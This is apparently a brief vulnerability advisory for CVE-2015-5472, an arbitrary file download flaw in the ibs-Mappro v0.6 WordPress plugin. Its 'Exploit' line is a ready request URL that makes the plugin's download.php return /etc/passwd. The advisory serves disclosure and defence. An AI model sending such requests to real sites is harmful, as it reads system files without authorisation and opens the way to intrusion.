Arbitrary file download vulnerability in ibs-Mappro v0.6 Wordpress plugin

#888 · 2015-07-08

CVE ID(s): CVE-2015-5472

Notified: 2015-07-08

Description:

IBS Mappro is a comprehensive map creator, editor, and view generator based on the Google Maps API v3 and supports kml, kmz, and gpx map files.

Exploit:

http://example.com/wp-content/plugins/ibs-mappro/lib/download.php?file=/etc/passwd

Download: https://wordpress.org/plugins/ibs-mappro/